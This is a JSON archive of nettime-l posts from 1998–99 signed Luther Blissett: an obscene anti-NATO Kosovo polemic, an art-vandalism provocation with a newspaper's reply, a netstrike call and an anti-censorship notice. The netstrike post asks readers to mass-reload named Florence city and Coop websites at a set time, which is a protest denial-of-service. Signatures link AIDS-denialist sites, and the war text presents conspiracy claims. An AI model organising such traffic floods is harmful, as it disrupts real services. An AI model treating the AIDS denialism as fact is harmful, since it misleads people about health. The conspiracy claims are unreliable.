                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Luther Blissett to be rehabilitated"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00161",
                "content": "\n[All the Luther Blissetts involved in the *Q* operation decided to turn\nevery evening of  their much-hyped promotional tour into an anti-war\nagit-prop performance. This text is based upon the stand-up act I'm doing\nthese days, with striking responses from the audience (standing ovations,\netc.) ]\n\n\nKOSOVO, IRON LUNGS AND HARD COCKS\n\n\nAlthough you're here because I'm a novelist, I'm not going to talk about my\nbook. It would be *immoral* not to talk about this war, as military\naircraft takes off from the Adriatic coast, just a few miles away from this\nbookstore. \n\nAs a matter of fact, *Q* is a Trojan horse manifactured by radical\nopponents to the present-day world order; its makers at the Luther Blissett\nProject managed to intrude themselves into Troy, that is mainstream pop\nculture, and now they're \"hi-jacking\" every conference, public reading and\ndebate, taking every opportunity to speak out against bloodbath disguised\nas \"Humanitarianism\". \nNow that Luther Blissett reached no.2 in the national Hit Parade of books,\ns/he's got the duty to be uncompromising. You'd rather listen to some\ncomplaisant hack? Fuck off and die, then.  \n\nWhat do you think our novel is about? In the 16th century the Great Powers\nof Europe were head over heels in debt, and had to stir up religious\nconflicts for strategical reasons. When these conflicts became gangrenous,\nnew international alliances were stipulated to \"enforce peace\", liquidate\nGod's enemies and establish a New European Order (1555, the Augsburg\nTreaty, \"cuius regio, eius religio\"). There were \"multinational\ncontingents\" of Lansquenets, columns of refugees escaping from villages on\nfire, \"limited national sovereignties\" etc. \n\nIs there something vaguely familiar? Ever get the feeling you're being\ncheated?\nDoesn't the Fuggers' Bank resemble the International Monetary Fund, the\nWorld Bank and the likes? Doesn't Charles V's turbulent empire resemble\ntoday's Europe? Aren't today's \"international police operations\" carnages\nperpetrated by high-tech lansquenets in the name of God, Peace, Democracy\nor whatever can gild the poison pill? \nHistorical novels, unless they're *Ramses*-like crap, are always political\nstatements, and *Q* is our statement against \"humanitarian\" war propaganda,\nas well as - on another level of intepretation - against censorship, the\nnew Inquisition and the ongoing Catholic \"Reconquista\" .\n \nOne is never delirious about mothers and fathers: one is delirious about\nnations, borders, ethnic groups, races, classes... In recent years we have\nbeen delirious about Europe - all of us: myself, the Pope, Milosevic, Emma\nBonino, Marc Dutroux...  \nEurope doesn't exist, nor do we need to feel sorry about it. Identity is\nonly and always something we've lost (or rather, something we never had),\nand the more we talk about Europe, \"Europeanism\", European Culture etc.,\nthe more these spectres fade away in the distance. United Europe is one of\nthe tallest lies ever: Bundesbank, IMF, *Pens\u00e9e Unique*, Enfopol, American\nbases everywhere... And yet it's no good to be \"anti-American\", just as it\nis useless to be \"anti-European\". There's no tactical choice but hiding\nourselves *within* Europe in order to escape and make fun of kapos:\n'Very few prisoners made up their mind about escaping from Dora, and those\nwho tried were tracked down by the dogs and hung on their return to the\ncamp... So the Russians adopted another tactic: one day they hid inside the\ncamp, for example under a Block... The nazis sought for them outside, and\nobviously didn't find them... After a week  they gave up searching. That's\nwhen the Russians escaped for real. They had good chances of making it,\nsince nobody was seeking them anymore.' \n\nThe problem is not \"America\", \"Europe\" or \"limited national sovereignties\"\netc. The problem is capital, its *unlimited* sovereignty. People talk about\nnationalisms and ethnic policies, but those are just epiphenomena: the\ntelluric shock that causes subsidence and landslides is still the clash\nbetween classes, division of labor on a planetary scale... And yet\nepiphenomena have devastating consequences...\n\nThe NATO bombings prove that Europe doesn't exist. Just fancy Italy! This\ngovernment is of little worth, a coalition of weaklings and pygmies.\nThey're so used to talk about UDR being the tongue of the parliamentary\ncompass, or the Senate's \"mixed group\" being over-crowded, that they hardly\nimagine there's a whole world outside the iron lung of grotesque\nprovincialism that both emprisons them and keeps them alive (or rather,\nundead). It is stomach-turning enough to witness a bunch of freaks such as\nthe PdCI [Partito dei Comunisti Italiani] becoming the coalition's\n\"critical conscience\", being content with the fact that \"our\" aircraft is\nnot dropping bombs, while the whole country is reduced to a colossal\nflattop, and Italy is on the front row of this war. \n\nNATO bombings considerably worsened the situation in Kosovo, interrupted\nfood re-stockings and induced a large portion of Yugoslavian public opinion\nto side with Milosevic, turning the latter scumbag into a bold, daring\npatriot. Either Wesley Clark and his chums are a bunch of morons, or\nthere's a hidden agenda common to both parties.\n\nDoes Kosovo really exist? Come on, let's be serious, who ever gave a flying\nfuck about Kosovo at NATO headquarters? I'm not the first to say that this\npretext is absolutely unbelievable, and I'll change my mind when I witness\nNATO aircraft bombing Morocco in support of the Saharawi. \nIt took years before people doubted the incident in the Tongking Gulf which\nprovided the pretext for the Vietnam war. Progress exists after all: nobody\nreally buys the bullshit about Rambouillet, not even those who vigorously\nstate the contrary. \nAs to the KLA, we were repeatedly told that it comprised about 30,000\nguerrillas, and yet Serbian comb-outs in Kosovo are encountering no armed\nopposition. Where are those 30,000 heroes? Why aren't they fighting back as\nthey're backed up by NATO air strikes? Does the KLA really exist or is it\nan invention of US propaganda?\n\nIt might have been any other pretext, the aim is making \"Europe\" feel the\npresence of the *carabineros*, confirming that no antagonism will be\ntolerated on this soil. What is more, such a masculine strength test was\nnecessary in order to supercede the Alliance's identity crisis, harden its\ncharacter armor, prove that the balls (albeit rarely used) are still at\ntheir place, and no Milosevic may take the liberty of busting them.\n\nHowever, as stated above, identity is something we've lost (just like\nrights: one starts to claim them once their violation has become\neverybody's recurrent behavior). NATO is a 50-year-old big man that never\nscrewed but doesn't want to die a virgin, thus he assaulted and raped the\nfirst walk-up fuck he bumped into: Yugoslavia.   \nA common idiom among \"straight chauvinist males\" goes: 'It takes an iron\nstomach and a steel toe-capped cock to screw a tart like that!'. As a\nmatter of fact, NATO's cock *is* made of steel and the Serbian regime is\nfar from looking good. As to the iron stomach, unfortunately *we* are the\nones who need it, since the media are stuffing us with pseudo-humanitarian\nshit. In such cases, *ius resistantiae*  [the right to resistance]\nencompasses retching and throwing up.\n\nIf there's no common hidden agenda, then Wesley Clark is an idiot. Where\nthe fuck is the \"art of war\"? If Sun Tsu were alive, he'd beat NATO field\nofficers with a stick. After less than a week of war, they no longer know\nwhat to do, we hear them arguing that black is white and white black,\nrambling about \"phase B\" and air-landing operations... A bunch of lunatics\nplaying Risiko in the asylum's toy library. \n\nAnd Bill Clinton? Posterity will remember him as a blow-job freak (which I\nam myself) and an exceptional instigator of Anti-Americanism. Each of his\n\"humanitarian\" operations increases hate. As Malcolm X would put it, the\nchickens of violence will return to Whitey's poultry pen: the US chose to\nplay the \"tough cop\", but no-one's playing the \"good cop\". When some cops\ncome to a very bad end,  the Pentagon will resort to Nazi arithmetic (\"One\nGI killed, ten civilians bombed\"). Any sociopath with access to an arsenal\nwill then stand as a hero of resistance, as Saddam, Milosevic and Osama Bin\nLaden are already doing. A shitstorm is to come, unless we ignite\nopposition here in the West.\n\nYes, Milosevic's regime is authoritarian, repressive, liberticide and,\nmaybe, guilty of genocidal intentions, but... Does any of you remember what\nhappened in Timisoara back in 1989? A fake carnage staged by coupists and\nformer Securitate agents. Corpses were stolen from the morgue, mutilated\nand piled up in the street. And the snuff movies presumably shot by Serbian\ntroopers in 1991-92? Nobody saw them, then the rumor slowly faded out. And\nthat Swiss tourist who spent his thrilling holidays as a sniper on the\nSarayevo hills? Did any of you meet him?\nI think we should think twice before buying the urban legends spread by the\nCIA's Shit Department. \n\nEach time a nation, an army and/or a head of state are charged with \"crimes\nagainst humanity\" or whatever, check the ID of those who are \"representing\"\nwo/mankind: you'll probably find out that they're as rotten as the ones\nthey're accusing. For instance, as regards Italy, the most enthusiastic\nadvocates of this war are the Radical Party, Emma Bonino and the likes... I\nhope you remember that they also supported the Israeli massacres at Sabra\nand Chatila, as well as any other pogrom and butchery perpetrated by\nIsraelis within and beyond their borders. Compared to their pal Begin,\nMilosevic is a merry prankster.\n\nThe US aircraft dropped on Vietnam thousands of dolls stuffed with\nexplosive. The timing was perfect: they usually blew up while children were\nplaying with them. Numberless splinters ran into the children's bodies,\ncrippling forever those who didn't die there and then. The splinters were\nmade of a plastic material, invisible to X-rays, impossible to remove\nsurgically.  \nAnd Napalm? What a brilliant invention, a combustible that keeps burning\nyou alive underwater. \nOther masterpieces were tested in Panama (1989) and Irak (1991) - to the\nextent that a number of Gulf veterans are dying of cancer due to contact\nwith chemical weapons. \n\nAren't these \"crimes agains humanity\"? You bet your ass they are, and yet\nwe never saw Norman Schwarzkopf on the dock, 'cause he was one of the good\nguys, *he* put people on the dock. \nWe must refuse this \"Cardassian\" administration of justice (see *Star Trek:\nDeep Space Nine*), that sentences defendants as guilty *before* the trial. \nWe must be suspicious of those who put the fingers on the world's public\nenemies, and always resist, sabotage and ridicule these international\npolice operations. \nThank you very much for your attention.\n\n\nLuther Blissett, Faenza, 29 March 1999\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Wed, 31 Mar 1999 02:35:22 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903310315.EAA07386 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00161.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Kosovo, Iron Lungs And Hard Cocks"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00110",
                "content": "\nLuther Blissett Project, Italian Situation, Updates \nLate February 1999 - # 2\nNo-Art \n\n\n\n>From La Repubblica on line (<http://www.repubblica.it>, the digital edition\nof the national daily paper, as well as the most visited Italian website) \n3 February 1999, Wednesday:\n\nWHAT IF CANNATA THE \"MADMAN\" WERE MORE \"ARTISTIC\" THAN POLLOCK?\nA provocative letter: Must \"mainstream\" art be inviolable? And who decides\nwhat is genius?\nBy  LUTHER BLISSETT\n ---------------------------------------------------------------\n[begin staff preface]\nROME - Of course it is a provocation, but it is also more than that. The\nletter which Luther Blissett - the collective identity that has accustomed\nus to many coups (verbal and not) in the recent years - sent to\nrepubblica.it struck us and roused our curiosity. It expresses a feeling\nthat many people certainly got a week ago, when the vandalistic smearing of\na Jackson Pollock work hit the news. It was not a rational thing; rather, a\njoke people uttered, or just thought, by instinct: \"Which one is the\nsmear?\". A superficial question that was restrained by cultural awareness\nand indignation for this assault on contemporary art and its dignity. In\nhis/her letter, Luther Blissett turns the joke into a lucid provocation.\nOne may agree or not, but it would not be just to throw this text away. Our\ncorrespondent and art expert Paolo Vagheggi replies to Luther Blissett at\nthe linked page.\n[end]\n\n \nOn 26 January 1999, Piero Cannata operated on Pollock's painting \"Undulated\nPaths\", exhibited at Rome's National Gallery of Modern Art. I challenge\nanyone of the journalists that covered Cannata's action to tell the smear\nfrom any of the other scribblings. Cannata's intervention is the best\ntribute ever to the artist. The only difference between the American\nAbstract Expressionist and the Italian performance artist is that the\nformer used to express his madness within an \"artistic context\", and\nconsequently found the theoretical and financial support of critics and\nart-gallery managers. Most likely, without such a support, Pollock would\nhave entered a lunatic asylum, nurses sneering at his \"works\" on the walls.\nJackson Pollock didn't paint: he dripped, smeared and soiled. On his\ncanvases one can find saliva, cigarette stumps, matches, anything. One day\nPollock urinated into Peggy Guggenheim's hearth. Yeah, he pissed in it,\nbefore the eyes of several onlookers. He was probably drunk. This\nimmediately became one of the best known \"performances\" of the great\ngenius, whose life was punctuated by such acts. That fireplace is still in\none of the rooms with a view on the Canal. If Piero Cannata or any other\nanonymous visitor of the present \"Peggy Guggenheim Collection\" pissed into\nthe same hearth, what would the keepers do?\nOf course they wouldn't deem the guy as a genius, at best he'd be\ndenounced. However, are you sure that Pollock's performances are more\nimportant than Cannata's? Are you really sure that Pollock wouldn't like\nsuch a \"betterment\"? \nWhy should an art work hang on a wall with people only allowed to look at\nit, since it is obvious that eyesight is just one of the senses roused by\nwhatever work? One should be allowed to touch and smell. This would quickly\nwear out the paintings? So what? What do you need a sacred and infinitely\ninviolable object for? Don't you know that museums keep Calder's sculptures\nin narrow rooms, though they were created for being exhibited in the open\nair and shaken by the wind? Don't you know that museums bar the way to\nBeuys' and Tinguely's works, though they were projected for interaction\nwith the public? *This* is violation.\nIf the most important thing is the artist's intention, than Pollock's\npainting was not destined to a reliquiary, and Cannata's intervention is\nlicit and particularly well-aimed. But museums and galleries are driven by\nother factors, such as money. This is commonplace, then why keep schmoozing\nabout art being sacral and untouchable? Talk about commercial value. If the\nword \"artist\" has ever had any meaning, then Piero Cannata is the real\nartist. Unlike Pollock, Cannata never compromised himself with the art\nestablishment, never strived for the critics' and gallery managers'\nappreciation. He couldn't care less, he's got better things to do. Mind\nyou, this is not the first case: people like Van Gogh were never understood\nat their time, only to be re-estimated after several years. It\u0092s funny to\nrecall the blindness of Van Gogh's coeval critics. Oh, they were so obtuse!\nOh, those were such obscurantist times! Nowadays it's different, art is\nfree of prejudices... Isn't it?  \nTomorrow Piero Cannata will go back to the madhouse that hosted him during\nthe past two years, and it's gonna take decades before he's acknowledged as\na well-deserving performer. Not only Piero Cannata will get entries in art\nhistory books: he'll get them as one of the most radical and innovative\nartists of the Nineties. This is one of the tasks we leave to our posterity. \n(2 February 1999)\n--------\n\nDEAR LUTHER, ART IS A SERIOUS THING\nA Reply to the \"pseudo-Futurist\" provocation: Pollock was a self-conscious\nartist, values cannot be annihilated\n\nby PAOLO VAGHEGGI\n\nMaybe that of the pseudo-Luther Blissett is nothing other than a nice\npseudo-Futurist provocation. None of us has forgotten Filippo Tommaso\nMarinetti's 'incendiary violence': 'We want to destroy museums, libraries\nand whatever kind of academies', we want to set Italy free from 'its fetid\ngangrene of professors, archaelogists, cicerones and antiquarians'.\nTherefore, long live Piero Cannata, let's promote him to the rank of\nartist. Long live the David hammer-freak and Pollock smearer. But what if\nthis, instead of being a pseudo-Futurist provocation, were just the opinion\nand belief of an ignorant (ignorant being for 'he who ignores')? In this\ncase, we should tell them the difference between a rash gesture caused by\nmadness and a conscious, advised, pondered and researched artistic deed. We\nshould tell them that Jackson Pollock, no matter what the nazis would have\nthought of him, was not a dauber, nor was his art 'degenerate'. His strokes\nwere not felt-tip scribblings. His technique, \"Dripping\", was sharp and\npondered. As Dora Vallier explained, the canvas was placed on a level\nsurface, even on the floor; and a few holes drilled through the bottom of a\ncolor box allowed the painter to work moving about and letting the color\ndrip on the canvas.\nThere was no fortuitous act, as explained by Pollock himself, who died in\n1956 at the age of 44: [...what follows is a Pollock's quote which I won't\nre-translate from Italian back into English. It's about the control of the\ndrops' trajectory, T.N....]\nI could go on for so long telling stories about Pollock, who studied\nphilosophy and psychoanalisis (as well as native-American painting), who\nwas Picasso-wise and always lived between anxiety and the rapture of his\nwork. This rapture was provoked by his quest for a personal existential\nstyle: he identified himself with his artworks, which gradually expanded\nand absorbed all his energies.\nAs Palma Bucarelli noticed back in 1958, during the NGMA Pollock\nExhibition, 'thus, independently from any analogical reference, painting\nitself can express the most profound movements of the soul; the more the\ncanvas reflects the \"quantity\" and the \"length\" of painting action, the\nclearer is the expression of emotional intensity.' \nJackson Pollock is not Pietro Cannata [sic]. Pietro Cannata is non Jackson\nPollock.\nMaybe someone dreams of an annihilation of values in order to say: 'I can\ndo that as well!'. Things are not like that. There will not be any Night of\nCrystals, no matter what Luther Blissett believes.\n(2 February 1999)\n-------------------\n\n[Luther Blissett replied, but Repubblica didn't run the piece. Luther put\nit into circulation as the issue #39 of their anti-art newsletter called\n\"Epistula Ex Vaticanis Museis\". Here it is:]\n \n\nDEAR MR. VAGHEGGI, MADHOUSES ARE SERIOUS THINGS, MORE SERIOUS THAN ART\nLuther Blissett replies to Paolo Vagheggi about the Cannata affair\n\nAt best, your response proved that you didn't even read my press release.\nAt worst, you read it but didn't understand. I didn't say 'I can do that as\nwell!' nor did I call Jackson Pollock a worthless dauber. Maybe that's\nreally what I think, but I am not so naive as to give you the opportunity\nto splutter the usual reply: 'You are ignorant, you don't understand\ncontemporary art', which means, as you said yourself, that I ignore it. \nI promoted (or degraded, which depends on the point of view) Piero Cannata\nto the rank of artist. At this point, customary language would require a\nlarge amount of terms like 'Post-Modern tension', 'Empathy', 'Genius',\n'Intemperance', 'Existential Drama', plus a few quotes (preferably taken\nfrom some mate\u0092s book). Mix up, ferment for one month, and the artist is\nready. Is the vernissage scheduled?\nIt goes without saying that I won't do that, because I'm no respectable\ncritic. My tool box does not contain catalogues and invitations to\nexhibitions, but a hammer, a knife and a few permanent markers.\nIf I'm no respectable critic, that's precisely because I'm not able to ignore.\nUnfortunately, those who 'ignore' are people like you, journalists,\ncritics, gallery managers, collectors... You and the majority that you\nrepresent are ignorant. You're ignorant because you think it's possible to\nseparate the \"beautiful\" from the \"ugly\", \"art\" from \"madness\", you have\nthe power to put a man into an asylum, that is the power of ignorance. I\nbelong to a minority that rely on their own \"lack of culture\" and (luckily\nor unfortunately) couldn't even hurt a bug. Maybe I'd be able to hurt a\nhack...\nYou're so keen on defending Pollock's art from the charge of being\n\"degenerate\", a charge that nobody pressed. Don't you find it bizarre? You\nare supporting the improsonment of a 'mad vandal', a 'fanatic', while you\ntry to convince me that Pollock, who was praised in life and died a\nmillionaire, expressed a profound existential tragedy!\n'He identified himself with his artworks, which gradually expanded and\nabsorbed all his energies'. Aren't these words perfectly suitable to the\nlife of Piero Cannata?\n'There was no fortuitous act'... Yeah, you think that Cannata's is 'a rash\ngesture caused by madness'... And yet, for more than 9 years, Cannata has\ngone ahead with such a lucid project that even Fontana would envy him!\nCannata plans his actions months in advance, and is determined to carry on\nfor the things he believes in. No, Piero Cannata is not mad (nor does\nmadness exist, but this is another story). He's just mad enough to go a few\ninches beyond the sacred and unpassable boundaries of Art, enough not to\nlong for the support of critics and galleries.\nPaolo Vagheggi, Maurizio Calvesi, Achille Bonito Oliva and all the others:\nyou're precisely that kind of persons that in 1909 were shocked at\nFuturism, and in 1917 were indignant because an urinal was exhibited in a\ngallery,  and in don't-remember-what-year because an artist was selling his\nown shit. It's too easy, after more than half a century, to organize Dada\nand Surrealist retrospectives, dish up monographs on the likes of\nMarinetti, Breton and Tzara, people who died and were enterred long ago.\nYou just recuperate; when will you *propose* anything? \nHere's my answer: your descendants will do it for you in a few decades, as\ntime pours oil on today's troubled waters, as Piero Cannata is gagged and\nstuffed with thorazine, Alexander Brener grows old and suitable for\nmuseums, Luther Blissett become a spectre (s/he already is). I look forward\nto those banquets, revaluations, essays, exhibitions, catalogues, T-shirts\nand CD-roms.\nNo, it's not you that make history. Maybe it's not me either. Piero Cannata\nis trying to do it.\nThings are like that. There will be a Night of Crystals, no matter what\nLuther Blissett believes. (5 February 1999)\n\n----\nNext posting:\nupdate #3: Repression And The Musti affair\n\nF.P. Belletati, Bologna, Italy\nA Luther Blissett Mythopoetic On-line Guide:\nhttp://www.geocities.com/Area51/Rampart/6812\nlast updated: Autumn 1998\n\nRe-thinking AIDS:\nhttp://www.duesberg.com\nhttp://www.virusmyth.com/aids/index.htm\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Mon, 22 Feb 1999 22:14:40 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199902222229.XAA17073 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00110.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Luther Blissett Update #2"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00077",
                "content": "\nPosted-Date: Tue, 22 Dec 1998 11:19:32 +0100\nX-Sender: cpa {AT} www.ecn.org (Unverified)\nOld-Date: Tue, 22 Dec 1998 11:13:05 +0100\nTo: cslist {AT} ecn.org\nFrom: CPA Fi-Sud <cpa {AT} ecn.org>\nSubject: NETSTRIKE FOR CPA FI-SUD\nCc: movimento {AT} ecn.org, cyber-rights {AT} ecn.org\nDate: Tue, 22 Dec 1998 11:19:55 +0100\nSender: owner-movimento {AT} ecn.org\nReply-To: movimento {AT} ecn.org\n\nNETSTRIKE FOR CPA FI-SUD\n\n\nAfter nine years of selfmanaged activity within the former industrial area\n\"Longinotti\" in Florence South, Tuesday December 22nd. The City Council of\nFlorence has approved the project for the construction of yet another\nshopping mall, in this instance a \"Coop\" (\"red\" version of a chain store)\nfor a total of 11.000 square meters. This has sealed the fate of our\ncenter, putting an end to all our social, political and cultural\nactivities (we'd mention here the battle won against heroin dealing in the\nneighborhood, the wonderful relationship with our community, a cultural\noffer unique to this city, an entire range of cultural experiences -\nmusic, theatre, videoart, Hack.it - born and grown in the Center). \n\nDo the Right Thing ! Netstrike (with cache=0) x CPA against the decision\nof the Municipality of Florence to build a supermarket and erase an\nimportant political, social and cultural experience: the same one that\nsupported hackit98. RELOAD your browser with cache = 0 with (4th january\n1998 6.00 - 7.00 p.m. GMT +1) on http://www.comune.firenze.it and\nhttp://www.coop.it and stay tune on #strkxcpa irc channel\n\nfor more info:\nhttp://www.ecn.org/cpa/\n\n... to be continued...\n\n\n\n\n\nCPA FI-SUD\nViale Giannotti 79 50100 Firenze\ntel./fax. (+39) 055 6580151\ne-mail: cpa {AT} ecn.org\nhttp://www.ecn.org/cpa/\n** IL CPA E' SOTTO SGOMBERO! **\n\n\n\n\n___________________\nQuaderni Rossi di Luther Blissett, n.2\nNelle migliori librerie e nei piu' loschi infoshops\n---  ---\nLuther Blissett Project\n\"Apocalisse ed emergenza.\nDai mostri in prima pagina al super-Stato postmoderno di polizia\"\nEd. Derive Approdi, Roma, No Copyright\nMARZO 1999\n---  ---\nPer contribuire alle ingenti spese legali del Luther Blissett Project\nnel caso \" Lasciate che i bimbi\", versamenti sul\nConto Corrente Postale n.28374403\nintestato a Roberto Bui\n---  ---\nThe Luther Blissett Mythopoetical Guide,\nhttp://www.geocities.com/Area51/Rampart/6812/\n--- ---\n\"Disobbedienza civile elettronica\" del Critical Art Ensemble,\nedizione libera anti-Castelvecchi:\nhttp://www.geocities.com/CapeCanaveral/Hangar/2558\n--- ---\nRE-THINKING AIDS \nhttp://www.virusmyth.com/aids/index.htm (english)\nhttp://www.duesberg.com/ (english)\nhttp://freeweb.aspide.it/freeweb/infoaids (italiano)\nhttp://www.geocities.com/CapeCanaveral/Hangar/2558/aids.html (italiano)\n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Tue, 22 Dec 1998 13:41:44 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199812221320.OAA08927 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9812/msg00077.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> NETSTRIKE FOR CPA FI-SUD"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00040",
                "content": "\nThis is the translation from Italian of a message put into circulation by\none <nobody {AT} replay com>. \n\nSTOP CENSORSHIP!\n\nAlthough this message is anonymous, it is not a spam.\nIn order to say HELL NO! to censorship, we decided to put on line a cartoon\nseized in Italy under charges of \"paedophilia\". The URL is\n\nhttp://www.geocities.com/SoHo/Nook/2279/bastacensura.html\n\nThe cartoon is  PIE. (Paedophile Information Exchange) by Miguel Angel\nMartin, taken from the comic book Psichopatya Sexualis, published by\nMilan-based Topolin edizioni. \nThis comic book had been taken to court before, its publisher had been\nfully acquitted, and yet Deputy District Attorney Maria Rosaria Sodano\nordered the seizure of the whole Topolin catalogue. \n\nSodano claims she has enforced article no. 600/3 of the infamous Child\nPornography Act, which the Italian Parliament passed on July 3rd, 1998. The\narticle emends the Penal Code and establishes a harsher punishment for\n'anyone who... distributes or spreads news or information aimed at\nenticement or exploitation of the under-age, i.e. under 18'. It goes\nwithout saying that Martin's work has nothing to do with art.600/ter, whose\nenforcement in this case is ludicrous and bad-faithful. In fact, we are\ntalking about a cartoon, that is a product of creativity and free\nimagination, in which no actors or models were hired or exploited. \n\nTo us, this case unveils the real meaning of this law and the purpose of\nits enforcers. These people don\u0092t care about child abuse, their target is\nany cultural work that undermines bigotry and the hypocritical notions of\n\"normality\" they wish to impose as an universal rule.\nThese modern inquisitors are so obsessed with persecuting \"deviants\" that\nthey seized a work which had already proved not guilty. As the judge\nhimself wrote in his verdict, Psichopatya Sexualis does not adovcate the\nviolence it depicts. \n\nWe could say many other things about the nature of the ongoing campaign\nagainst \"paedophilia\" (which is unbearably hypocritical and instrumental). \nWe could describe the law-and-order, pro-censorship hijack of the just\nworry about child abuse. We could say much more about the assault on the Net.\nWe could also expose the role played by journalists, hacks and TV anchormen\n- these people gave up any dignity and professionalism, for it is much\neasier to build a lucrative career upon witch hunts and sensationalism.\nEventually we could point out that child abuse (sexual and not) usually\ntakes place inside the very institutions worshipped by  most witch hunters,\ni.e. the Church and the patriarchal family.  \nBut we\u0092ll just say that our choice (to make one of the seized cartoons\navailable on the web) is to defend everyone\u0092s right to choose what can be\nread or watched. This right is in danger, because of liberticidal mass\nhysteria. \n\nWill some other zealant magistrate or priest consider our action illegal?\nWe don\u0092t know. We don\u0092t even care. \nWe don\u0092t belong to Topolin Edizioni, we are not acquainted with the authors\nof the seized comic books, we are not members of any of the several\nassociations that have expressed their solidarity to Topolin.\nWe\u0092ll remain anonymous. We aren\u0092t trying to avoid responsibilities. We\nthink we are much more \"responsible\" than those who think that only passive\nacceptation of the rules they enforce must be deemed as a responsible\nbehaviour. What we are trying to do is assert our belief in the Net\u0092s\npotential as a virtually uncontrollable media, still open to all those\nopinions and rights that the powers-that-be want to repress. \nWe also believe that free circulation of ideas and knowledge, as well as\ncooperation between those who spread them, can render censors ridiculous\nand make fun of all their attempts.\nThis website may be condemned to a short life. We invite you to link it,\nnay, to save the pages and upload them elsewhere, in order to continue the\ndefense campaign.\n\n\n\n\n_____________________\n\n<BLINK>\nPer contribuire alle _ingenti_ spese legali del Luther Blissett Project\nnel caso \" Lasciate che i bimbi\", versamenti sul\nConto Corrente Postale n.28374403\nintestato a Roberto Bui\n</BLINK>\n----\nThe Luther Blissett Mythopoetic On-line Guide,\nhttp://www.geocities.com/Area51/Rampart/6812/\nlast updated 6 September 1998 - Lots of new documents and pics.\n----\n\"Disobbedienza civile elettronica\"\ndel Critical Art Ensemble,\nedizione libera anti-Castelvecchi:\nhttp://www.geocities.com/CapeCanaveral/Hangar/2558\n----\nThe Anti Art Web Site:\nhttp://www.geocities.com/SoHo/Atrium/4281/\n----\nNelle migliori librerie: Quaderni rossi di Luther Blissett, n.1, lit.5000\nNumero 2 in uscita a novembre.\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Wed, 18 Nov 1998 16:05:00 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199811211302.OAA03013 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9811/msg00040.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Stop censorship: PIE on lin"
            },
            {
                "id": "00065",
                "content": "\nSince the debate on moderation continues, I feel it's my duty to express\nsolidarity to Ted Byfield, which I already did in a private message\nyesterday. It's too easy to charge him with authoritarianism or whatever. \nAnyone who spent just a few weeks in the 1980's mail art network remembers\nthat there were all kinds of real stalkers who couldn't help by stuffing\nother people's POB with junk (crushed cans, used condoms, my pal Vittore\nBaroni even received a big rotting fish!). Antiorp reminds me of them. I\nthink s/he's little more than a spammer. Or is s/he... an \"artist\"? If so,\nmuch the worse for him or her! My personal opinion is that 'art' is an\nobsolete idealistic category which jack-off middle-class smart-asses adopt\nas an excuse for anything they happen to throw up. When \"art\"-oriented\nharassment meets nice-ism and political correctness, the result is\ntime-wasting, nowhere-going nihilism.  Or is antiorp an \"info-warrior\"?\nRight. S/he declared war upon... whom? Me? So why can't I counter-attack?\nAnd even if antiorpisms were worth reading, why post them on Nettime? I'm\nsure there are more suitable contexts.  Antiorp fans want us to be\nopen-minded - antiorp tried to tear our nervous system apart. Two\ndifferent beasts, I daresay. Any attempt at describing such annoying\nbehaviors either as \"performances\" or as \"mind-challenging\" dunno-whats\nwill always provoke my fierce resistance. Even Monty Cantsin's Invisible\nCollege list (whose subscribers are devoted to 'mad science' and coded\nlanguage games) unsubscribed a guy named Barnoz who used to post hundreds\nof lines of [>>quote(>quote)] garbage. I think that \"moderator\" is a bad\nword though.  Anyway, this is the abovementioned message: \n\n\nHi there.\n\nAs a nettime subscriber I reckon you - and any other moderator who\nunsubscribed or is going to unsubscribe antiorp from their list(s) - did\nthe right thing. In off-line reality your decision would be deemed as\nabsolutely normal: three mornings in a row some guy I don't know comes\nover and puts smelly turd into my mail box. First time I wonder 'what the\nhell kind of a sick weirdo...?', on the second day I get mad. OK, that\nmight be a \"clever art trick\", \"performance art\" and whatnot, but I don't\ngive a damn: third day I wait for him, give him a good kicking and shove\nthe turd down his throat. This is not repression of free speech, is it?\nBye,\n\nBelletati\n\n \nThe Luther Blissett Mythopoetic On-line 